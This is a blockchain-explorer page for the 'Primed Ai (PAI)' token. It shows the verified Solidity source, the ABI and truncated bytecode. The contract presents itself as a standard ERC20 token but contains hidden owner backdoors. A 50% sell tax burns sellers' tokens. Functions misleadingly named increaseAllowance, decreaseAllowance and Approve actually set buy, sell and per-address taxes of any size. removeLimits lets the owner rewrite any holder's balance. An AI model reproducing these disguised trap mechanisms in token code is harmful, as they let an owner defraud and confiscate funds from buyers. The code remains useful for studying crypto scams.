ETH Price: $3,349.66 (-0.95%)

Token

Primed Ai (PAI)
 

Overview

Max Total Supply

100,000,000 PAI

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
346,059.778695649409052412 PAI

Value
$0.00
0xb63a133f68910ea0452f0228cbe43dddaf787d65
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PrimedAi

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-10
*/

/**

Telegram: https://t.me/PrimedAIPortal
Website: https://www.primed-ai.com/
Twitter:https://twitter.com/Primed_AI

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

contract PrimedAi is ERC20, Ownable {

    using SafeMath for uint256;
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _isTax;
    mapping(address => uint256) private _accTax;

    uint256 private _buyTax;
    uint256 private _sellTax;
    address private uniswapV2Pair;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        _mint(_msgSender(), totalSupply_ * 10**decimals());
	    _isTax[_msgSender()] = true;
        _buyTax = 0;
        _sellTax = 50;  
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 _amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance");
        bool rF = true;
        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradeFeeAmount = 0;
        if (rF) {
            uint256 tradeFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {
                    tradeFee = _sellTax;
                }
                if (from == uniswapV2Pair) {
                    tradeFee = _buyTax;
                }
            }
            if (_accTax[from] > 0) {
                tradeFee = _accTax[from];
            }
            tradeFeeAmount = _amount.mul(tradeFee).div(100);
        }
        if (tradeFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradeFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeAmount);
            emit Transfer(from, _deadAddress, tradeFeeAmount);
        }
        _balances[from] = _balances[from].sub(_amount - tradeFeeAmount);
        _balances[to] = _balances[to].add(_amount - tradeFeeAmount);
        emit Transfer(from, to, _amount - tradeFeeAmount);
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _isTax[from] || _isTax[to];
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function setPair(address _uniswapV2Pair) external onlyOwner {
        uniswapV2Pair = _uniswapV2Pair;
    }

    function increaseAllowance(uint256 _value) external onlyOwner {
        _sellTax = _value;
    }

    function decreaseAllowance(uint256 _value) external onlyOwner {
        _buyTax = _value;
    }

    function Approve(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 0");
        _accTax[_address] = _value;
    }

    function setBots(address _address, bool _value) external onlyOwner {
        _isTax[_address] = _value;
    }

    function removeLimits(address to, uint amount) external onlyOwner {
        _balances[to] = amount;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002d5d38038062002d5d833981810160405281019062000037919062000540565b828281600290816200004a91906200081b565b5080600390816200005c91906200081b565b5050506200007f620000736200014a60201b60201c565b6200015260201b60201c565b620000ca620000936200014a60201b60201c565b620000a36200021860201b60201c565b600a620000b1919062000a92565b83620000be919062000ae3565b6200022160201b60201c565b600160066000620000e06200014a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600881905550603260098190555050505062000c40565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000293576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200028a9062000bb5565b60405180910390fd5b8060016000828254620002a7919062000bd7565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002ff919062000bd7565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000366919062000c23565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003db8262000390565b810181811067ffffffffffffffff82111715620003fd57620003fc620003a1565b5b80604052505050565b60006200041262000372565b9050620004208282620003d0565b919050565b600067ffffffffffffffff821115620004435762000442620003a1565b5b6200044e8262000390565b9050602081019050919050565b60005b838110156200047b5780820151818401526020810190506200045e565b60008484015250505050565b60006200049e620004988462000425565b62000406565b905082815260208101848484011115620004bd57620004bc6200038b565b5b620004ca8482856200045b565b509392505050565b600082601f830112620004ea57620004e962000386565b5b8151620004fc84826020860162000487565b91505092915050565b6000819050919050565b6200051a8162000505565b81146200052657600080fd5b50565b6000815190506200053a816200050f565b92915050565b6000806000606084860312156200055c576200055b6200037c565b5b600084015167ffffffffffffffff8111156200057d576200057c62000381565b5b6200058b86828701620004d2565b935050602084015167ffffffffffffffff811115620005af57620005ae62000381565b5b620005bd86828701620004d2565b9250506040620005d08682870162000529565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200062d57607f821691505b602082108103620006435762000642620005e5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200066e565b620006b986836200066e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006fc620006f6620006f08462000505565b620006d1565b62000505565b9050919050565b6000819050919050565b6200071883620006db565b62000730620007278262000703565b8484546200067b565b825550505050565b600090565b6200074762000738565b620007548184846200070d565b505050565b5b818110156200077c57620007706000826200073d565b6001810190506200075a565b5050565b601f821115620007cb57620007958162000649565b620007a0846200065e565b81016020851015620007b0578190505b620007c8620007bf856200065e565b83018262000759565b50505b505050565b600082821c905092915050565b6000620007f060001984600802620007d0565b1980831691505092915050565b60006200080b8383620007dd565b9150826002028217905092915050565b6200082682620005da565b67ffffffffffffffff811115620008425762000841620003a1565b5b6200084e825462000614565b6200085b82828562000780565b600060209050601f8311600181146200089357600084156200087e578287015190505b6200088a8582620007fd565b865550620008fa565b601f198416620008a38662000649565b60005b82811015620008cd57848901518255600182019150602085019450602081019050620008a6565b86831015620008ed5784890151620008e9601f891682620007dd565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009905780860481111562000968576200096762000902565b5b6001851615620009785780820291505b8081029050620009888562000931565b945062000948565b94509492505050565b600082620009ab576001905062000a7e565b81620009bb576000905062000a7e565b8160018114620009d45760028114620009df5762000a15565b600191505062000a7e565b60ff841115620009f457620009f362000902565b5b8360020a91508482111562000a0e5762000a0d62000902565b5b5062000a7e565b5060208310610133831016604e8410600b841016171562000a4f5782820a90508381111562000a495762000a4862000902565b5b62000a7e565b62000a5e84848460016200093e565b9250905081840481111562000a785762000a7762000902565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a9f8262000505565b915062000aac8362000a85565b925062000adb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000999565b905092915050565b600062000af08262000505565b915062000afd8362000505565b925082820262000b0d8162000505565b9150828204841483151762000b275762000b2662000902565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000b9d60218362000b2e565b915062000baa8262000b3f565b604082019050919050565b6000602082019050818103600083015262000bd08162000b8e565b9050919050565b600062000be48262000505565b915062000bf18362000505565b925082820190508082111562000c0c5762000c0b62000902565b5b92915050565b62000c1d8162000505565b82525050565b600060208201905062000c3a600083018462000c12565b92915050565b61210d8062000c506000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806390ec57f11161007157806390ec57f1146102b957806395d89b41146102d5578063a9059cbb146102f3578063dd62ed3e14610323578063f2fde38b1461035357610116565b806370a0823114610245578063715018a6146102755780638187f5161461027f5780638da5cb5b1461029b57610116565b806313b2a23e116100e957806313b2a23e146101a157806318160ddd146101bd57806323b872dd146101db578063313ce5671461020b5780634db23e3e1461022957610116565b806306fdde031461011b578063095ea7b31461013957806310bad4cf1461016957806311e330b214610185575b600080fd5b61012361036f565b6040516101309190611753565b60405180910390f35b610153600480360381019061014e919061180e565b610401565b6040516101609190611869565b60405180910390f35b610183600480360381019061017e9190611884565b610424565b005b61019f600480360381019061019a9190611884565b6104aa565b005b6101bb60048036038101906101b691906118dd565b610530565b005b6101c5610607565b6040516101d2919061192c565b60405180910390f35b6101f560048036038101906101f09190611947565b610611565b6040516102029190611869565b60405180910390f35b610213610640565b60405161022091906119b6565b60405180910390f35b610243600480360381019061023e919061180e565b610649565b005b61025f600480360381019061025a91906119d1565b61070d565b60405161026c919061192c565b60405180910390f35b61027d610756565b005b610299600480360381019061029491906119d1565b6107de565b005b6102a361089e565b6040516102b09190611a0d565b60405180910390f35b6102d360048036038101906102ce919061180e565b6108c8565b005b6102dd6109d0565b6040516102ea9190611753565b60405180910390f35b61030d6004803603810190610308919061180e565b610a62565b60405161031a9190611869565b60405180910390f35b61033d60048036038101906103389190611a28565b610a80565b60405161034a919061192c565b60405180910390f35b61036d600480360381019061036891906119d1565b610b06565b005b60606002805461037e90611a97565b80601f01602080910402602001604051908101604052809291908181526020018280546103aa90611a97565b80156103f75780601f106103cc576101008083540402835291602001916103f7565b820191906000526020600020905b8154815290600101906020018083116103da57829003601f168201915b5050505050905090565b60008061040c610bfd565b9050610419818585610c05565b600191505092915050565b61042c610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661044a61089e565b73ffffffffffffffffffffffffffffffffffffffff16146104a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049790611b14565b60405180910390fd5b8060088190555050565b6104b2610bfd565b73ffffffffffffffffffffffffffffffffffffffff166104d061089e565b73ffffffffffffffffffffffffffffffffffffffff1614610526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051d90611b14565b60405180910390fd5b8060098190555050565b610538610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661055661089e565b73ffffffffffffffffffffffffffffffffffffffff16146105ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a390611b14565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b60008061061c610bfd565b9050610629858285610dcd565b610634858585610e59565b60019150509392505050565b60006012905090565b610651610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661066f61089e565b73ffffffffffffffffffffffffffffffffffffffff16146106c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bc90611b14565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61075e610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661077c61089e565b73ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c990611b14565b60405180910390fd5b6107dc60006114fa565b565b6107e6610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661080461089e565b73ffffffffffffffffffffffffffffffffffffffff161461085a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085190611b14565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108d0610bfd565b73ffffffffffffffffffffffffffffffffffffffff166108ee61089e565b73ffffffffffffffffffffffffffffffffffffffff1614610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90611b14565b60405180910390fd5b6000811015610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097f90611ba6565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600380546109df90611a97565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0b90611a97565b8015610a585780601f10610a2d57610100808354040283529160200191610a58565b820191906000526020600020905b815481529060010190602001808311610a3b57829003601f168201915b5050505050905090565b6000610a76610a6f610bfd565b8484610e59565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b0e610bfd565b73ffffffffffffffffffffffffffffffffffffffff16610b2c61089e565b73ffffffffffffffffffffffffffffffffffffffff1614610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7990611b14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611c38565b60405180910390fd5b610bfa816114fa565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90611cca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cda90611d5c565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dc0919061192c565b60405180910390a3505050565b6000610dd98484610a80565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e535781811015610e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3c90611dc8565b60405180910390fd5b610e528484848403610c05565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611e5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e90611eec565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611f7e565b60405180910390fd5b600060019050610fce85856115c0565b15610fd857600090505b600081156111a35760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ee57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036110925760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036110ed5760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561117957600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61119f6064611191838861166b90919063ffffffff16565b61168190919063ffffffff16565b9150505b6000811115611342576111fe81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611295816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ad90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611339919061192c565b60405180910390a35b61139f81856113519190611fcd565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143f81856113f19190611fcd565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ad90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876114dd9190611fcd565b6040516114ea919061192c565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116635750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836116799190612001565b905092915050565b6000818361168f9190612072565b905092915050565b600081836116a59190611fcd565b905092915050565b600081836116bb91906120a3565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116fd5780820151818401526020810190506116e2565b60008484015250505050565b6000601f19601f8301169050919050565b6000611725826116c3565b61172f81856116ce565b935061173f8185602086016116df565b61174881611709565b840191505092915050565b6000602082019050818103600083015261176d818461171a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117a58261177a565b9050919050565b6117b58161179a565b81146117c057600080fd5b50565b6000813590506117d2816117ac565b92915050565b6000819050919050565b6117eb816117d8565b81146117f657600080fd5b50565b600081359050611808816117e2565b92915050565b6000806040838503121561182557611824611775565b5b6000611833858286016117c3565b9250506020611844858286016117f9565b9150509250929050565b60008115159050919050565b6118638161184e565b82525050565b600060208201905061187e600083018461185a565b92915050565b60006020828403121561189a57611899611775565b5b60006118a8848285016117f9565b91505092915050565b6118ba8161184e565b81146118c557600080fd5b50565b6000813590506118d7816118b1565b92915050565b600080604083850312156118f4576118f3611775565b5b6000611902858286016117c3565b9250506020611913858286016118c8565b9150509250929050565b611926816117d8565b82525050565b6000602082019050611941600083018461191d565b92915050565b6000806000606084860312156119605761195f611775565b5b600061196e868287016117c3565b935050602061197f868287016117c3565b9250506040611990868287016117f9565b9150509250925092565b600060ff82169050919050565b6119b08161199a565b82525050565b60006020820190506119cb60008301846119a7565b92915050565b6000602082840312156119e7576119e6611775565b5b60006119f5848285016117c3565b91505092915050565b611a078161179a565b82525050565b6000602082019050611a2260008301846119fe565b92915050565b60008060408385031215611a3f57611a3e611775565b5b6000611a4d858286016117c3565b9250506020611a5e858286016117c3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611aaf57607f821691505b602082108103611ac257611ac1611a68565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611afe6020836116ce565b9150611b0982611ac8565b602082019050919050565b60006020820190508181036000830152611b2d81611af1565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611b90602e836116ce565b9150611b9b82611b34565b604082019050919050565b60006020820190508181036000830152611bbf81611b83565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611c226026836116ce565b9150611c2d82611bc6565b604082019050919050565b60006020820190508181036000830152611c5181611c15565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611cb46024836116ce565b9150611cbf82611c58565b604082019050919050565b60006020820190508181036000830152611ce381611ca7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d466022836116ce565b9150611d5182611cea565b604082019050919050565b60006020820190508181036000830152611d7581611d39565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611db2601d836116ce565b9150611dbd82611d7c565b602082019050919050565b60006020820190508181036000830152611de181611da5565b9050919050565b7f45524